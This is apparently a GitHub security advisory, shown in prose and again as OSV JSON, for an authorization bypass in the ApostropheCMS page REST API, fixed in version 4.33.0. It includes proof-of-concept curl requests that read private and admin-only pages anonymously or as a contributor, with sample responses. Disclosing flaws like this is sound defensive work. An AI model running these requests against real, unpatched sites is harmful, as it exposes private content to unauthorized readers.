GHSA-2J32-Q6RX-H844
Vulnerability from github – Published: 2026-10-20 18:13 – Updated: 2026-10-20 18:13Summary
The core page REST API reads full page documents with .permission(false) in getOne and in the all=1 tree dump, bypassing page-type viewRole, visibility: private, and visibility: loginRequired checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by _id/slug.
Details
packages/apostrophe/modules/@apostrophecms/page/index.js:
- getOne (L456–465): await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria) — no viewRole threshold, no visibility filtering.
- all handler (L318–395): getRestQuery(req).permission(false) (L384–385) walks every page type and returns the projection including visibility.
- publicApiCheckAsync (L3044) only checks that publicApiProjection exists — it performs no authorization.
- Correct control behaves differently: piece-type/index.js:getOne (L319–327) uses getRestQuery(req) without .permission(false) and enforces viewRole.
PoC
# Anonymous (no session) — private, admin-only page:
curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200 {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page",
# "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}
# Anonymous full site-map dump (includes private + loginRequired pages):
curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1" # → 200, full tree
# Contributor (cont_admin) reads full admin-only doc incl. protected field:
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200 secretData = TOP-SECRET-VALUE-abc123
# Controls (correctly enforced):
curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz" # → 403
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" # → 403
Impact
Unauthenticated disclosure of visibility: private and loginRequired pages (full documents, not just paths) and of the complete site structure with visibility/type metadata; contributors read admin-only page types and their protected fields. Because _ids are enumerable and leaked by all=1, this is systemic.
Remediation — Remove .permission(false) from getOne/all or re-apply the type's viewRole threshold plus the same visibility/login-required criteria the list and autocomplete paths use (mirror piece-type); make publicApiCheck config-presence-only and add an explicit authorization step per verb.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "apostrophe"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.33.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-113670"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-20T18:13:08Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "**Summary**\nThe core page REST API reads full page documents with `.permission(false)` in `getOne` and in the `all=1` tree dump, bypassing page-type `viewRole`, `visibility: private`, and `visibility: loginRequired` checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by `_id`/slug.\n\n**Details**\n`packages/apostrophe/modules/@apostrophecms/page/index.js`:\n- `getOne` (L456\u2013465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` \u2014 no `viewRole` threshold, no `visibility` filtering.\n- `all` handler (L318\u2013395): `getRestQuery(req).permission(false)` (L384\u2013385) walks every page type and returns the projection including `visibility`.\n- `publicApiCheckAsync` (L3044) only checks that `publicApiProjection` exists \u2014 it performs no authorization.\n- Correct control behaves differently: `piece-type/index.js:getOne` (L319\u2013327) uses `getRestQuery(req)` without `.permission(false)` and enforces `viewRole`.\n\n**PoC**\n```\n# Anonymous (no session) \u2014 private, admin-only page:\ncurl \"http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published\"\n# \u2192 200 {\"_id\":\"...:en:published\",\"title\":\"Secret Private Page\",\"slug\":\"/secret-page\",\n# \"type\":\"private-type\",\"visibility\":\"private\",\"secretData\":\"TOP-SECRET-VALUE-abc123\"}\n\n# Anonymous full site-map dump (includes private + loginRequired pages):\ncurl \"http://localhost:3100/api/v1/@apostrophecms/page?all=1\" # \u2192 200, full tree\n\n# Contributor (cont_admin) reads full admin-only doc incl. protected field:\ncurl -b contrib.cookies \".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published\"\n# \u2192 200 secretData = TOP-SECRET-VALUE-abc123\n# Controls (correctly enforced):\ncurl -b contrib.cookies \".../api/v1/@apostrophecms/page?type=private-type\u0026autocomplete=zz\" # \u2192 403\ncurl -b contrib.cookies \".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft\" # \u2192 403\n```\n\n**Impact**\nUnauthenticated disclosure of `visibility: private` and `loginRequired` pages (full documents, not just paths) and of the complete site structure with visibility/type metadata; contributors read admin-only page types and their protected fields. Because `_id`s are enumerable and leaked by `all=1`, this is systemic.\n\n**Remediation** \u2014 Remove `.permission(false)` from `getOne`/`all` or re-apply the type\u0027s `viewRole` threshold plus the same `visibility`/login-required criteria the list and autocomplete paths use (mirror `piece-type`); make `publicApiCheck` config-presence-only and add an explicit authorization step per verb.",
"id": "GHSA-2j32-q6rx-h844",
"modified": "2026-10-20T18:13:08Z",
"published": "2026-10-20T18:13:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-2j32-q6rx-h844"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
},
{
"type": "PACKAGE",
"url": "https://github.com/apostrophecms/apostrophe"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "ApostropheCMS: Page REST API authorization bypass"
}
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